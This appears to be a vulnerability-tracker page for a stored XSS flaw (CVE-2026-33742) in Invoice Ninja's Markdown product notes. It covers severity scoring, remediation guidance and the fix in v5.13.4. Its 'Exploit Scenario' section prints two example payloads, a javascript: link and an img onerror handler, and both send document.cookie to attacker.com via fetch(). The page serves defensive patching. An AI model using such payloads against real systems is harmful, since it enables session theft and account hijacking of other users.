Skip to main content

Invoiceninja CVE-2026-33742

| EUVDEUVD-2026-16418 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-26 GitHub_M
5.4
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v3.1 score of 5.4 (Medium) reflects moderate real-world risk: attack vector is network-based (AV:N) with low complexity (AC:L), but requires prior authentication (PR:L), reducing likelihood of opportunistic exploitation. The scope is changed (S:C), indicating impact extends beyond the immediate vulnerable component to other users viewing invoices. The vulnerability carries low confidentiality and integrity impact (C:L/I:L) with no availability impact (A:N), consistent with XSS rather than data breach or system compromise. Critically, no CISA KEV listing or public exploit code is referenced in available intelligence, indicating no confirmed active exploitation or proof-of-concept at analysis time. This positions the vulnerability as a real but not urgent priority: it requires legitimate user access to exploit, affects a narrower user base than unauthenticated XSS, but poses genuine risk to multi-user invoice environments where stored XSS can persist across sessions. Organizations running Invoice Ninja in production should prioritize patching but may defer slightly if compensating controls (CSP headers, network isolation) are in place.

Exploit ScenarioDerived

An authenticated Invoice Ninja user with product notes field access (e.g., product manager or admin) embeds a malicious Markdown payload such as [Click here](javascript:fetch('http://attacker.com/steal?cookie='+document.cookie)) or raw HTML <img src=x onerror='fetch("http://attacker.com/log?session="+document.cookie)'> in a product notes field. When another user views the generated invoice PDF or HTML preview, the Markdown renderer converts this to executable HTML, and the unsanitized script executes in the victim's browser context with their session cookies, potentially allowing the attacker to hijack the account or perform unauthorized invoice modifications. No public exploit code or active exploitation has been identified, but the low attack complexity and reliance only on user interaction (not admin privileges) make this feasible for insider threats or compromised user accounts.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 26, 2026

Stored cross-site scripting (XSS) in Invoice Ninja v5.13.0 through v5.13.3 allows authenticated attackers with product notes field access to inject and execute arbitrary JavaScript in invoice templates via unvalidated Markdown rendering. The vulnerability affects all Invoice Ninja instances running affected versions where the Markdown parser output bypasses HTML sanitization, enabling session hijacking, credential theft, or malicious template manipulation for other users viewing invoices. A vendor-released patch (v5.13.4) addresses this by implementing purify::clean() sanitization on Markdown output.

RemediationAI

Upgrade Invoice Ninja to version v5.13.4 or later immediately. This patched release adds purify::clean() sanitization to Markdown output in product notes fields. If immediate upgrade is not feasible, implement a temporary Content Security Policy (CSP) header set to script-src 'none' or restrict to 'self' only to mitigate stored XSS impact, and audit recent invoice templates for injected script tags. Additionally, restrict access to product notes editing fields to trusted administrative users only, and educate users not to paste untrusted content into product notes fields. See the vendor advisory at https://github.com/invoiceninja/invoiceninja/security/advisories/GHSA-xph7-9749-56mh for deployment guidance.

Affected VersionsENISA

invoiceninja < 5.13.4

Affected Packages

euvd invoiceninja fix: 5.13.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Invoice Ninja is a Laravel-based invoicing application (CPE: cpe:2.3:a:invoiceninja:invoiceninja) that processes product notes fields through a Markdown rendering pipeline. The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the failure to sanitize Markdown parser output before template inclusion. The application used Markdown conversion to render rich text in product notes but did not subsequently pass the HTML output through purification routines. This is a classic second-order XSS pattern where user-controlled Markdown input is converted to HTML and then embedded in templates without Content Security Policy or HTML entity encoding protections. The fix implements the purify::clean() function, which is a standard Laravel/PHP HTML sanitization utility that strips potentially dangerous tags and attributes while preserving safe formatting.

Know when Invoiceninja gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
Apr 16, 2026 - 05:29 EUVD
5.13.4
CVE Published
Mar 26, 2026 - 20:50 nvd
MEDIUM 5.4

DescriptionGitHub Advisory

Invoice Ninja is a source-available invoice, quote, project and time-tracking app built with Laravel. Product notes fields in Invoice Ninja v5.13.0 allow raw HTML via Markdown rendering, enabling stored XSS. The Markdown parser output was not sanitized with purify::clean() before being included in invoice templates. This is fixed in v5.13.4 by the vendor by adding purify::clean() to sanitize Markdown output.

Executive ViewAI

Why It Matters

Organizations using Invoice Ninja should be aware of moderate risk from CVE-2026-33742, a cross-site scripting vulnerability rated CVSS 5.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy